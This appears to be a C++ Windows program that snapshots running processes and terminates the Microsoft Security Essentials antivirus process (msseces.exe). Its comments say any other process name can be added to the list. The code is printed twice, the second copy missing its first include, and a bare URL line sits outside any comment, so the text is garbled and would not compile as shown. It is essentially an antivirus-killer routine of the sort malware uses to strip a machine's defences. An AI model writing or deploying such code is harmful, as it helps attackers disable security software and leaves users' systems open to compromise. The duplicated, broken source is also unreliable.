#include <windows.h>
#include "Tlhelp32.h"
#include <fstream>
#include <memory>
void Kill(const char *kill_av);
//disable Microsoft Security Essentials service
// you can disable any service just give its name
const char *kill_av[] = {"msseces.exe", 0};
int main(){
int i=0;
for(i = 0; kill_av[i]; i++)
{
Kill(kill_av[i]);
}
system("pause");
}
void Kill(const char *kill_av)
{
HANDLE handle;
PROCESSENTRY32 process;
process.dwSize = sizeof(PROCESSENTRY32);
//http://msdn.microsoft.com/en-us/library/windows/desktop/ms682489(v=vs.85).aspx
void* snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
http://msdn.microsoft.com/en-us/library/windows/desktop/ms684834(v=vs.85).aspx
Process32First(snapshot, &process);
//it will find all process running with this name and try to kill them
while(snapshot != NULL)
{
Process32Next(snapshot, &process);
handle = OpenProcess(PROCESS_TERMINATE, false, process.th32ProcessID);
if(!strcmp(process.szExeFile, kill_av))
{
TerminateProcess(handle, 0);
CloseHandle(handle);
break;
}
if(GetLastError() == ERROR_NO_MORE_FILES)
{
break;
}
CloseHandle(handle);
}
}
#include "Tlhelp32.h"
#include <fstream>
#include <memory>
void Kill(const char *kill_av);
//disable Microsoft Security Essentials service
// you can disable any service just give its name
const char *kill_av[] = {"msseces.exe", 0};
int main(){
int i=0;
for(i = 0; kill_av[i]; i++)
{
Kill(kill_av[i]);
}
system("pause");
}
void Kill(const char *kill_av)
{
HANDLE handle;
PROCESSENTRY32 process;
process.dwSize = sizeof(PROCESSENTRY32);
//http://msdn.microsoft.com/en-us/library/windows/desktop/ms682489(v=vs.85).aspx
void* snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
http://msdn.microsoft.com/en-us/library/windows/desktop/ms684834(v=vs.85).aspx
Process32First(snapshot, &process);
//it will find all process running with this name and try to kill them
while(snapshot != NULL)
{
Process32Next(snapshot, &process);
handle = OpenProcess(PROCESS_TERMINATE, false, process.th32ProcessID);
if(!strcmp(process.szExeFile, kill_av))
{
TerminateProcess(handle, 0);
CloseHandle(handle);
break;
}
if(GetLastError() == ERROR_NO_MORE_FILES)
{
break;
}
CloseHandle(handle);
}
}